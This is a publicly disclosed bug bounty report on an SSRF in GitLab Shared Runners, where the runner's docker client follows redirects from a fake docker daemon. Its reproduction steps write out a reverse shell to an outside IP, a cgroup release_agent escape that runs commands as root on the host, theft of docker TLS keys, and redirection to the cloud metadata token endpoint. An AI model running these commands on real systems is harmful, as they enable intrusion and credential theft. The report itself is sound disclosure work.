HexBrain

GitLab · Report #809248

SSRF into Shared Runner, by replacing dockerd with malicious server in Executor

Validstatus
mediumseverity
12upvotes
8 Sept 2020disclosed

How it was found

Note

I've assigned the severity HIGH and submitted this report based on previously disclosed blind SSRF bugs that were previously disclosed. (https://hackerone.com/reports/398799) If that's not correct, please adjust or let me know if you require more immediate impact on users in order to consider it.

Description

The Shared Runners implementation has a bug in its docker client that allows following HTTP redirection. Because it accesses the docker daemons running in executors -- which are completely under control of users -- a malicious user can replace the existing dockerd with a malicious HTTPS server that sends redirect responses. The TLS validation can't prevent this attack, as both public and private keys used by the docker daemon in the executor are also under the CI job's (so the user's) control.

An attacker can use that to perform (mostly blind) SSRF attacks targetting the Shared Runner local host, link-local and local networks. In case of an error response from the target, the response body will be displayed in the CI job's logs. A succcessful HTTP request will result in the first character of the response being visible, or -- if the response is a valid JSON -- will cause the process to hang. TCP (other than HTTP) targets also partially reveal the response.

This can be used, for example to send requests to Google Cloud's metadata service, but so far I've been unable to obtain the access token (only the first character a is visible).

The culprit seems to be https://gitlab.com/gitlab-org/gitlab-runner/-/blob/master/helpers/docker/official_docker_client.go#L45

The line httpClient := &http.Client{Transport: transport} seems to be missing a proper redirect policy.

Steps to reproduce

There are a number of steps to reproduce this issue the way I did. Most of them could be automated or simplified with further effort, but I think the existing process can be followed relatively easily. Please let me know if you have trouble with it.

1 - Run a CI job and obtain a reverse shell into the Executor

Create a CI jobs that runs a command like

bash -i >& /dev/tcp/1.2.3.4/4444 0>&1

Replace the IP address with the address of an external machine you control.

Use nc -lvp 4444 to obtain the reverse shell from your machine.

2 - Prepare root access to the Executor and mount host file system

In the shell, run the following commands:

mkdir /h ;
mount /dev/sda9 /h;
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x;
echo 1 > /tmp/cgrp/x/notify_on_release;
export host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`;
 echo "$host_path/cmd" > /tmp/cgrp/release_agent;

This will both mount the host storage volume and prepare a cgroup trigger for running commands as root.

3 - Obtain docker's certificate public and private keys

Run these commands:

cat /h/etc/docker/server.pem
cat /h/etc/docker/server-key.pem

4 - Set up a malicious HTTPS server in a machine you control

Copy the text of server.pem and server-key.pem to the corresponding files in your attacker machine.

Run the attached maliciousHttpsServer.py.

This will start an HTTPS server that uses the certs in the provided server.pem and server-key.pem files. That way the Runner docker client has no way to tell it from the legitimate dockerd.

5 - Obtain the PID that's listening to port 2376 (docker daemon)

Run the following commands:

echo '#!/bin/sh' > /cmd
echo "sudo netstat -tanp > $host_path/n2" >> /cmd
chmod a+x /cmd
  sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /n2

Take note of the PID listening to 2376.

6 - Kill the daemon and use socat to redirect IP packets to your external machine.

Now we must send the traffic from the Executor to our attack box:

echo '#!/bin/sh' > /cmd
echo "sudo kill -9 999 && socat tcp-listen:2376,reuseaddr,fork tcp:1.2.3.4:1111 2> $host_path/k2" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Replace 999 with the correct PID, and 1.2.3.4 with the IP of your attack box.

7 - The external HTTPS now will redirect the Runner's Docker Client's requests to the target.

Now the connection flow we have is this

[Runner-client] --TLS--> [Executor] --Socat--> [Malicious-HTTPS-server] --Redirect--> [Runner-client] --HTTP--> Target

The maliciousHttpServer.py script is configured to redirect GET requests to `http://metadata.google.internal:80/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=text

(BTW the v1beta1 endpoint is still working)

The same technique can be used to obtain SSRF with POST and DELETE requests.

8 - Observe the response in the job's error logs.

Now the Shared Runner will try to keep track of the running job, but it's HTTP requests will end up hitting the metadata endpoint, so the response won't be valid. The first letter of the response (a for access_Token) will show up in an error message when it's trying to parse the response.

What is the expected behavior

The Runner's docker client shouldn't trust the docker daemon, and shouldn't follow redirections from the docker REST API, much less redirections to local addresses.

What is the actual bug behavior

The Runner's docker client follows redirect responses sent by the executor's docker daemon.

Impact

The issue described here allows an attacker to hit local host, local network, and link-local addresses within the Shared Runner, with GET, POST, DELETE HTTP(S) requests to arbitrary endpoints. The request response can be partially obtained in case of a successful request, or completely obtained in case of an error response code.

Since the Share Runners are shared between different projects/users and command the CI jobs for these, the issue seems relevant.

Other impacts that might be possibly obtained (though not tested as might cause disruption of service) include:

  • Resource exhaustion through hanging jobs (when the HTTP response is a valid JSON).
  • Resource exhaustion by sending excessively large responses, in particular, using gzip encoding.

I'm still actively researching ways of obtaining the full HTTP response, as well as other target endpoints, and will report in the comments further findings.

Impact

Impact

The issue described here allows an attacker to hit local host, local network, and link-local addresses within the Shared Runner, with GET, POST, DELETE HTTP(S) requests to arbitrary endpoints. The request response can be partially obtained in case of a successful request, or completely obtained in case of an error response code.

Since the Share Runners are shared between different projects/users and command the CI jobs for these, the issue seems relevant.

Other impacts that might be possibly obtained (though not tested as might cause disruption of service) include:

  • Resource exhaustion through hanging jobs (when the HTTP response is a valid JSON).
  • Resource exhaustion by sending excessively large responses, in particular, using gzip encoding.

I'm still actively researching ways of obtaining the full HTTP response, as well as other target endpoints, and will report in the comments further findings.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original